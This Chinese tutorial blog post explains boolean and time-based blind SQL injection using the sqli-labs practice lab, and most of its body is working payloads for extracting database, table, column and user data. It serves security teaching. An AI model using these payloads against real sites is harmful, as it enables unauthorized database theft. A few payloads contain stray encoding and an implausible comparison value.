SQL bool盲注和时间盲注详解

目录

一、bool盲注和时间盲注常用函数

二、bool盲注和时间盲注payload

1、SQL注入点探测

2、猜解数据库名

3、猜解表名

4、猜解字段名

5、猜解数据

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、bool盲注和时间盲注常用函数

1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:

mid(【目标字段】,【开始的位置】,【截取长度】)

其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:

left(【目标字段】,【截取长度】)

表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if(【条件】,【值1】,【值2】)

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

二、bool盲注和时间盲注payload 1、SQL注入点探测

我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:

对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and 1=2#

如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and sleep(10)#

如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。

2、猜解数据库名

bool类型的盲注猜解数据库长度payload如下所示:

id=1'and length(database())>10#

时间类型的盲注猜解数据库长度payload如下所示:

id=1'and sleep(if(length(database())>10,10,1))>10#

bool类型的盲注猜解数据库名称payload如下所示:

id=1'and ascii(mid(database(),1,1))>115#

时间类型的盲注猜解数据库名称payload如下所示:

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。

3、猜解表名

bool类型的盲注表名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#

时间类型的盲注表名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool类型的盲注表名猜解payload如下所示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

时间类型的盲注表名猜解payload如下所示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。

4、猜解字段名

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理与之前类似。

5、猜解数据

bool类型的盲注数据长度猜解payload如下所示:

id=1'and (select count(*) from users)>1#

时间类型的盲注数据长度猜解payload如下所示:

id=1'and sleep(if((select count(*) from users)>1,10,1))#

bool类型的盲注数据猜解payload如下所示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

时间类型的盲注数据猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此这篇关于SQL bool盲注和时间盲注详解的文章就介绍到这了,更多相关SQL bool盲注和时间盲注内容请搜索易知道(ezd.cc)以前的文章或继续浏览下面的相关文章希望大家以后多多支持易知道(ezd.cc)!

推荐阅读

    优化PostgreSQL中的批量更新性能

    优化PostgreSQL中的批量更新性能,数据,表格,在Ubuntu 12.04上使用PG 9.1. 我们目前需要24小时才能运行大量UPDATE数据库上的语句,其形式

    mac怎么安装mysql| macbook怎么下载mysql

    mac怎么安装mysql| macbook怎么下载mysql,标签,学习python 不得不学习的就是数据库,那么在开始学习数据库之前,那么今天我们先说下怎么安装m

    SQL 查看触发器

    SQL 查看触发器,触发器,示例, 1、通过可视化操作来管理和查看触发器 在Microsoft SQL Server Management Studio中,选中某一数据库的某一

    MySQL更新更新页面1/4。

    MySQL更新更新页面1/4。,,插入和替换 插入和替换语句的功能是将新数据插入表中,这两个语句的语法相似,它们之间的主要区别是如何处理重复的

    MSSQL临时表与内存表的区别

    MSSQL临时表与内存表的区别,变量,存储过程,区别一:<PRE lang=sql>CREATE table #T (s varchar(128))DECLARE @T table (s varchar(128))IN

    postgresql的ALTER常用操作

    postgresql的ALTER常用操作,字段,数据类型,postgresql版本:psql (9.3.4)1、增加一列ALTER TABLE table_name ADD column_name datatype;

    PostgreSQL数据库修改sql表的方法汇总

    PostgreSQL数据库修改sql表的方法汇总,字段,默认值, 一,修改表 PostgreSQL 提供了一族命令用于修改现有表。 可以实现: 增加字段, 删除字段,

    为PostgreSQL添加插件

    为PostgreSQL添加插件,文件,插件, 我目前了解的PG插件大约有两种,一种是利用hook,另一种是建立C函数,然后在数据库中进行关联。PG本身就